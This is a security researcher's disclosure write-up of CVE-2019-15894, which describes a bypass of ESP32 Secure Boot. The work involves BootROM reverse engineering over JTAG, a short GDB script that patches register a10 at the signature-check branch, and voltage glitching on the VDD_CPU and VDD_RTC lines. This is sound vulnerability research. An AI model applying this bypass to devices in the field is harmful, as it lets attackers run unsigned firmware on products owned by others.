Original text by LimitedResults
In this post, I focus on the ESP32 Secure Boot and I disclose a full exploit to bypass it during the boot-up, using low-cost fault injection technique.
Espressif and I decided to go to Responsible Disclosure for this vulnerability (CVE-2019-15894).
The Secure Boot
Secure boot is the guardian of the firmware authenticity stored into the external SPI Flash memory.
It is easy for an attacker to reprogram the content of the SPI Flash memory, then to run its malicious firmware on the ESP32. The secure boot is here to protect against this kind of firmware modification.
It creates a chain of trust from the BootROM to the bootloader until the application firmware. It guarantees the code running on the device is genuine and cannot be modified without signing the binaries (using a secret key). The device will not execute untrusted code otherwise.
ESP32 Secure boot details
Espressif provides a complete online documentation here, dedicated to this feature.
How it works?
Secure boot is normally set during the production (at the factory), considered as a secureenvironment.
During the Production
Secure boot key (SBK) into e-Fuses
The ESP32 has a One Time Programmable (OTP) memory, based on four blocks of 256 e-Fuses (total of 1024 bits).
The Secure Boot Key (SBK) is burned into the eFuses BLK2 (256 bits) during the production. This key is then used by AES-256 ECB mode by the BootROM to verify the bootloader. According to Espressif, the SBK cannot be readout or modify (the software cannot access the BLK2 block due to the Read/Write Protection eFuse).
This key has to be kept confidential to be sure an attacker cannot create a new bootloader image. It is also a good idea to have a unique key per device, to reduce the scalability if one day, the SBK is leaked or recovered.
ECDSA key Pair
During the production phase, the vendor will also create an ECDSA key pair ( private key and public key).
The private key has to be kept confidential. The public key will be included at the end of the bootloader image. This key will be in charge to verify the signature of the app image.
The digest
At the address 0x00000000 in the SPI flash layout, a 192-bytes digest has to be flashed. The output digest is 192 bytes of data is composed by 128 bytes of random, followed by the 64 bytes SHA-512 digest computed such as:
Digest = SHA-512(AES-256((bootloader.bin + ECDSA publ. key), SBK))
On the field now
During the boot-up, the secure boot process is the following:
Reset vector > ROM starts > ROM Loads and verifies Bootloader image (using SBK in OTP) > Bootloader is running > Bootloader loads and verifies App image > App image is running
The BootROM verification
After the reset, the CPU0 (PRO_CPU) executes the BootROM code (stage 0), which will be in charge to verify the bootloader signature. Then, the bootloader image (present at 0x1000 in the flash memory layout) is loaded into SRAM and the BootROM verifies the bootloader signature. If result is ok, the CPU0 then executes the bootloader (stage 1).
About The ECDSA verification
Micro-ECC (uECC) library is used to implement the ECDSA verification in the bootloader image, to verify the app image signature (stage 2).
I noticed this previous vulnerability CVE-2018-18558. It was fixed in esp-idf v3.1.
Focus on Stage 0
For an attacker, it is obviously more interesting to focus on the Bootloader verification done by the BootROM (not on the further stages).
The Software Setup
Compile and run a signed Application
A simple main.c like that should be enough as a test application:
void app_main()
{
while(1)
{
printf("Hello from SEC boot K1!\n");
vTaskDelay(1000 / portTICK_PERIOD_MS);
}
}
To compile, I enable the (reflashable) secure boot via make menuconfig. That will automatically compute and insert the digest into the signed bootloader file. This config will generate a known Secure Boot Key. (I can reflash a different signed bootloader in the future). Security stays the same.
make menuconfig
After the end of the compilation, I finally flash the bootloader+digest file at 0x0 in the flash layout, the app image at 0x10000 and the table partition at 0x8000 using esptool.py.
Setting the Secure Boot
I enable the secure boot feature on a new ESP32 board manually, using these commands:
## Burn the secure boot key into BLK2 $ espefuse.py burn_key secure_boot ./hello_world_k1/secure-bootloader-key-256.bin ## Burn the ABS_DONE fuse to activate the sec boot $ espefuse.py burn_efuse ABS_DONE_0
After the reset, the E-fuses map can be read using espefuse.py tool:
eFuses summary
Secure boot is enabled (ABS_DONE_0=1) and the secure boot key (BLK2) cannot be readout anymore. CONSOLE_DEBUG_DISABLE was already burned when I received the board.
The ESP32 will now authenticate the bootloader after each reset, the software then verifies the app and the code is running:
... I (487) cpu_start: Pro cpu start user code I (169) cpu_start: Starting scheduler on PRO CPU. Hello from SEC boot K1! Hello from SEC boot K1! Hello from SEC boot K1! ...
Note: Some advised people will probably notice I do not burn the JTAG_DISABLE eFuse…intentionally 😉
Compile and run the unsigned Application
To set my attack scenario, I create a new project with this straightforward hello_world C code in the main function:
void app_main()
{
while(1)
{
printf("Sec boot pwned by LimitedResults!\n");
vTaskDelay(1000 / portTICK_PERIOD_MS);
}
}
I compile then I flash the unsigned bootloader and the unsigned app image. As expected, the device is bricked displaying an error message on the UART:
ets Jun 8 2016 00:22:57 rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT) configsip: 0, SPIWP:0xee clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00 mode:DIO, clock div:2 load:0x3fff0018,len:4 load:0x3fff001c,len:8708 load:0x40078000,len:17352 load:0x40080400,len:6680 secure boot check fail ets_main.c 371 ...(infinite loop)
Exactly what I wanted. The secure boot fails once it checks the unsigned bootloader.
The attack is simple here. The goal is to find a way to force the ESP32 to execute this unsigned bootloader (then my unsigned app) on the ESP32.
Let’s reverse now.
The JTAG way
You remember I did not burn the JTAG fuse? It is great because I can now use this debug interface to identify the secure boot related functions and see how I can prepare an exploit.
OpenOCD + FT2232h board
I download openOCD for ESP32 here and extract it:
$ wget https://github.com/espressif/openocd-esp32/releases/download/v0.10.0-esp32-20190313/openocd-esp32-linux64-0.10.0-esp32-20190313.tar.gz $ tar -xvf openocd-esp32-linux64-0.10.0-esp32-20190313.tar.gz $ cd openocd-esp32
Full Debug Setup
I need an interface to connect via JTAG to the ESP32. The FT2232h board is perfect, it’s my Swiss army knife. The connections between the two boards are below:
FT2232H_ADBUS1_TDI <-> GPIO12 (MTDI) FT2232H_ADBUS0_TCK <-> GPIO13 (MTCK) FT2232H_ADBUS3_TMS <-> GPIO14 (MTMS) FT2232H_ADBUS2_TDO <-> GPIO15 (MTDO) FT2232H_GND <-> ESP32_GND
JTAG setup. ESP32 on the left, FT2232h board on the right.
GDB session
Then, openOCD and GDB are launched in two distinctive shells:
# shell 1 $ ./bin/openocd -s share/openocd/scripts -f interface/ftdi/ft2232h_bb.cfg -f board/esp-wroom-32.cfg -c "init; reset halt" # shell 2 $ xtensa-esp32-elf-gdb
I also add a minicom shell to UART0. At the end, it’s just a normal GDB debug session:
A shell for UART, a shell for GDB, a shell for openOCD and my custom config for the ft2232h breakout board
After reset, the Program Counter (PC) is directly landing at 0x40000400 aka the reset vector address, CPU is halted, and I have full control of the BootROM code flow.
Digging into the BootROM
The Dump
I dump the BootROM through the JTAG interface.
The Reverse
Note: I don’t detail the entire reverse here because it would take too long.
I am not the first working on this this ESP32 bootROM. This guys here and here did awesome jobs.
I became a little bit more familiar with Xtensa ISA since last year. Using IDA and a good plug-in from here, I was able to figure out.
The ISA reference manual is available here.
Digging into the Xtensa BootROM code, I finally identified a bnei instruction (0x400075B7) after ets_secure_boot_check_finish:
ecure boot final check BNEI (branch instruction validating or not the signed image).
The PC has to reach 0x400075C5 (right side) after the branch instruction (bnei) to validate the unsigned bootloader.
Let’s use and GDB over JTAG to confirm it.
Exploit validation (via GDB)
As seen above, patching the value inside the register a10 should be enough to reach 0x400075C5. Here is the GDB script example able to bypass the secure boot check, to finally execute my own image :
target remote localhost:3333 monitor reset halt hb *0x400075B7 continue set $a10 = 0 continue
Then:
$ xtensa-esp32-elf-gdb -x exploit.gdb
PoC video
Let’s set to 0 the a10 register to bypass the secure boot (via JTAG access).
Of course, other patching exploits are possible…But now, I just need to reproduce that, without using JTAG 🙂
Time to Pwn (for Real)
To reproduce this exploit, I can only use fault injection because it’s the only way to interact with the ESP32 bootROM code (no control otherwise).
The target
The LOLIN board will be used for the PoC:
LOLIN dev-kit (10$ on Amazon)
I configure the second board to enable the secure boot. Here is the device’s eFuses:
eFuses Security configuration of the device under test. Secure boot enabled, JTAG disabled, Console debug disabled.
Power domains (Round 2)
During my post on ‘DFA warm-up’ here, I already modified VDD_CPU line to attach directly the output of the glitcher to the VDD_CPU pin.
Surprisingly, during my first tests, glitching the VDD_CPU did not affect so much the normal behaviour of the chip during the bootROM process.
I have to find a solution. After probing some lines, I am suspecting the VDD_RTC plays a important role during the bootROM process.
Consequently, I decide to double glitch on the VDD_CPU and VDD_RTC simultaneously, to provide maximum voltage drop-out during the bootROM execution.
I cut the VDD_RTC line and I solder a second magnet wire to the VDD_RTC pin. The final PCB looks like that:
Glitch on VDD_CPU and VDD_RTC simultaneously. SMD grabber on MOSI pin.
The SMD grabber is connected to the MOSI. I will be able to see the activity on the SPI bus between the SPI, storing the bootloader image, and the ESP32, which will authenticate and run the image).
This MOSI signal gives a nice timing information (see CH2 on scope screens below).
Hardware Setup
I use python to script and synchronise all the equipments:
Final setup to pwn the ESP32 secure boot.
It is time to obtain results, I would say.
Fault session
ESP32 Stuck in a loop
As already explained, the ESP32 automatically reset after each secure boot check:
ets Jun 8 2016 00:22:57 rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT) configsip: 0, SPIWP:0xee clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00 mode:DIO, clock div:2 load:0x3fff0018,len:4 load:0x3fff001c,len:8556 load:0x40078000,len:12064 load:0x40080400,len:7088 secure boot check fail ets_main.c 371 ets Jun 8 2016 00:22:57 ...(infinite loop)
Timing Fault
Here is a scope capture:
Secure boot check fail. CH1= UART TX; CH2=SPI MOSI
The signature verification is obviously achieved between the last SPI data frames and the UART error message ‘secure boot check fail’ (RS232-TX).
Glitch effect is visible on the UART line (CH1).
According to what I saw during the BootROM reverse, the ets_secure_boot_check_finish is a tiny function and I am pretty sure about its timing location. It is why I am starting to glitch near to the end of the SPI flash MOSI data (CH2).
Fault injections is like fishing. When you are sure you are in a good spot with the good rods and fresh baits, you just have to wait. It is just a matter of time to obtain the good behavior:
Entry Point 0x400807a0 => Secure boot bypassed.
Cheers!
Note: Glitch Timing is really dependent of the setup.
Once the glitch is successful, the CPU is jumping to the entry point (see entry 0x400807a0 on scope) and the unsigned bootloader previously loaded in SRAM0 is then executed. Secure boot is bypassed and the attack is effective until the next reset.
Here is the UART log when the attack is successful:
st:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT) configsip: 0, SPIWP:0xee clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00 mode:DIO, clock div:2 load:0x3fff0018,len:4 load:0x3fff001c,len:8556 load:0x40078000,len:12064 load:0x40080400,len:7088 entry 0x400807a0 D (88) bootloader_flash: mmu set block paddr=0x00000000 (was 0xffffffff) I (38) boot: ESP-IDF v4.0-dev-667-gda13efc-dirty 2nd stage bootloader ... ... ... I (487) cpu_start: Pro cpu start user code I (169) cpu_start: Starting scheduler on PRO CPU. Sec boot pwned by LimitedResults! Sec boot pwned by LimitedResults! Sec boot pwned by LimitedResults! ...(infinite loop)
Original PoC video
Sorry for the tilt:
Original PoC
Conclusion
A complete exploit on the ESP32 secure boot using voltage glitching technique has been presented.
First, BootROM was reversed to find the function in charge to verify the bootloader signature. Then, an exploit was prepared using patching function over JTAG on a first ESP32 board. Finally, the exploit was reproduced on a second ESP32 board, using voltage fault injection to disrupt the BootROM process, to finally execute unsigned firmware on ESP32.
All the ESP32 already shipped (with only secure boot enabled) are vulnerable.
Due to the low-complexity of the attack, it can be reproduced on the field easily, (less than one day and using less than 1000$ equipment).
This vulnerability cannot be fixed without Hardware Revision. Espressif has already shipped dozens of Millions of devices.
The only way to mitigate is certainly to use Secure Boot + Flash Encryption configuration. But maybe not after all, teaser here.
Stay tuned for the final act!
Timeline Disclosure
04/06/2019: Email sent to Espressif with the PoC video.
05/06/2019: Espressif team is asking for more details.
01/08/2019: Light report on Secure Boot + PoC sent to Espressif. Espressif announces a second team has also reported something very similar (they did not want to disclose details about this team). Espressif proposes to go for CVE.
12/08/2019: Espressif is OK for 30-days disclosure process. Espressif announces they may decide to not register CVE.
30/08/2019: Espressif announces CVE is on going.
01/09/2019: Posted.
UPDATE
02/09/2019: Security advisory from Espressif released here.
05/09/2019: Espressif provides Common Vulnerabilities and Exposures number CVE-2019-15894. Link here.
